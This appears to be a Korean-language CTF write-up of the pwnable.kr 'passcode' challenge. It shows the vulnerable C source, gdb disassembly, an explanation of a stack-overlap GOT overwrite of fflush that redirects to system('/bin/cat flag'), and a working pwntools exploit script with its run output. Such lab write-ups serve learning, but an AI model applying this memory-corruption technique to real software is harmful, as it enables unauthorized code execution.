Featured image of post pwnable.kr passcode

pwnable.kr passcode

접속을 하면 아래와 같은 링크가 주어진다.

ls를 쳐보면 아래와 같이 3가지 파일이 주어지는 c 파일을 먼저 열어 보았다.

passcode@pwnable:~$ ls
flag  passcode	passcode.c

// passcode.c
#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;
}

여기서 확인 할 수 있는 것은 & 표시가 없어 정상적인 값 입력이 불가능한 상태였다. ex) &passcode1 와 같은 형식으로 받아야함
또한 입력받을때 취약한 함수를 사용하여 버퍼 오버 플로우가 가능하다고 생각이 들었다. 다음으로 어셈블리 코드를 열어보았다.

(gdb) disas login
Dump of assembler code for function login:
   0x08048564 <+0>:	push   ebp
   0x08048565 <+1>:	mov    ebp,esp
   0x08048567 <+3>:	sub    esp,0x28
   0x0804856a <+6>:	mov    eax,0x8048770
   0x0804856f <+11>:	mov    DWORD PTR [esp],eax
   0x08048572 <+14>:	call   0x8048420 <printf@plt>
   0x08048577 <+19>:	mov    eax,0x8048783
   0x0804857c <+24>:	mov    edx,DWORD PTR [ebp-0x10] // passcode1 저장위치
   0x0804857f <+27>:	mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:	mov    DWORD PTR [esp],eax
   0x08048586 <+34>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:	mov    eax,ds:0x804a02c
   0x08048590 <+44>:	mov    DWORD PTR [esp],eax
   0x08048593 <+47>:	call   0x8048430 <fflush@plt>
   0x08048598 <+52>:	mov    eax,0x8048786
   0x0804859d <+57>:	mov    DWORD PTR [esp],eax
   0x080485a0 <+60>:	call   0x8048420 <printf@plt>
   0x080485a5 <+65>:	mov    eax,0x8048783
   0x080485aa <+70>:	mov    edx,DWORD PTR [ebp-0xc] // passcode2 저장 위치
   0x080485ad <+73>:	mov    DWORD PTR [esp+0x4],edx
   0x080485b1 <+77>:	mov    DWORD PTR [esp],eax
   0x080485b4 <+80>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>:	mov    DWORD PTR [esp],0x8048799
   0x080485c0 <+92>:	call   0x8048450 <puts@plt>
   0x080485c5 <+97>:	cmp    DWORD PTR [ebp-0x10],0x528e6
   0x080485cc <+104>:	jne    0x80485f1 <login+141>
   0x080485ce <+106>:	cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x080485d5 <+113>:	jne    0x80485f1 <login+141>
   0x080485d7 <+115>:	mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>:	call   0x8048450 <puts@plt>
   0x080485e3 <+127>:	mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:	call   0x8048460 <system@plt>
   0x080485ef <+139>:	leave
   0x080485f0 <+140>:	ret
   0x080485f1 <+141>:	mov    DWORD PTR [esp],0x80487bd
   0x080485f8 <+148>:	call   0x8048450 <puts@plt>
   0x080485fd <+153>:	mov    DWORD PTR [esp],0x0
   0x08048604 <+160>:	call   0x8048480 <exit@plt>
End of assembler dump.
(gdb) disas welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>:	push   ebp
   0x0804860a <+1>:	mov    ebp,esp
   0x0804860c <+3>:	sub    esp,0x88
   0x08048612 <+9>:	mov    eax,gs:0x14
   0x08048618 <+15>:	mov    DWORD PTR [ebp-0xc],eax
   0x0804861b <+18>:	xor    eax,eax
   0x0804861d <+20>:	mov    eax,0x80487cb
   0x08048622 <+25>:	mov    DWORD PTR [esp],eax
   0x08048625 <+28>:	call   0x8048420 <printf@plt>
   0x0804862a <+33>:	mov    eax,0x80487dd
   0x0804862f <+38>:	lea    edx,[ebp-0x70] //name 저장 위치
   0x08048632 <+41>:	mov    DWORD PTR [esp+0x4],edx
   0x08048636 <+45>:	mov    DWORD PTR [esp],eax
   0x08048639 <+48>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:	mov    eax,0x80487e3
   0x08048643 <+58>:	lea    edx,[ebp-0x70]
   0x08048646 <+61>:	mov    DWORD PTR [esp+0x4],edx
   0x0804864a <+65>:	mov    DWORD PTR [esp],eax
   0x0804864d <+68>:	call   0x8048420 <printf@plt>
   0x08048652 <+73>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048655 <+76>:	xor    eax,DWORD PTR gs:0x14
   0x0804865c <+83>:	je     0x8048663 <welcome+90>
   0x0804865e <+85>:	call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:	leave
   0x08048664 <+91>:	ret
End of assembler dump.

코드를 살펴보면 passcode1을 [ebp-0x10]에 저장하고, name을 [ebp-0x70]에 저장하는 것을 알 수 있다.
함수가 다르지만 하나의 코드이기 때문에 stack영역을 공유한다.
name배열을 선언할떄 100byte를 주고 선언을 한다. 하지만 0x70과 0x10 사이의 거리를 알아보면 0x70 - 0x10 = 0x60 ( 96byte ) 으로 4byte가 남게 된다. 우리는 이 부분을 이용해서 exploit을 해야한다. 여기서는 fflush를 이용해야 한다. fflush는 got함수를 이용해서 자신을 호출하는데 이 부분을 조작해 우리가 원하는 함수를 실행시킬 수 있다.

아래의 코드에서 flush의 got 주소가 0x804a004 인것을 획득 할 수 있다.

(gdb) x/i 0x8048430
   0x8048430 <fflush@plt>:	jmp    DWORD PTR ds:0x804a004

(gdb) x/i 0x804a004
   0x804a004 <fflush@got.plt>:	test   BYTE PTR ss:[eax+ecx*1],al

그리고 login 어셈블리 코드상에서 0x080485e3가 system("/bin/cat flag");의 주소인것을 알 수 있다.

   0x080485e3 <+127>:	mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:	call   0x8048460 <system@plt>

정리를 하면 아래와 같다.

  1. name 배열 끝 4 bytes가 passcode1의 주소와 겹친다.
  2. name 배열 끝 4 bytes를 fflush 함수의 GOT 테이블의 주소로 입력한다. ( = passcode1가 fflush 함수의 GOT가 됨)
  3. scanf를 통해 passcode1, 즉 fflush 함수의 GOT를 조작한다. system 함수의 시작으로 덮어쓴다!
  4. Exploit!

이를 토대로 exploit 코드를 작성하면 아래와 같다.

from pwn import *
 
fflush_got = 0x804a004
flag_address = 0x080485e3

payload = b'A'*96
payload += p32(fflush_got)

payload2 = str(int(flag_address)) # 10진수로 입력을 받아서 변환 필요.

s = ssh('passcode','pwnable.kr',password='guest',port=2222)
p = s.process('./passcode')

p.sendline(payload)
p.sendline(payload2)

p.interactive()

위에 코드 실행 후 flag를 획득할 수 있었다.

 python3 ./pwnable.kr_passcode.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] passcode@pwnable.kr:
    Distro    Ubuntu 16.04
    OS:       linux
    Arch:     amd64
    Version:  4.4.179
    ASLR:     Enabled
[+] Starting remote process bytearray(b'./passcode') on pwnable.kr: pid 338194
./pwnable.kr_bof.py:15: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline(payload2)
[*] Switching to interactive mode
Toddler's Secure Login System 1.0 beta.
enter you name : $ 
$ 
Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x04\x04!
enter passcode1 : Sorry mom.. I got confused about scanf usage :(
Now I can safely trust you that you have credential :)
[*] Got EOF while reading in interactive

참고

https://powerco3e-lch.tistory.com/20
https://blackperl-security.gitlab.io/blog/2016/03/07/2016-03-07-pltgot-01/

comments powered by Disqus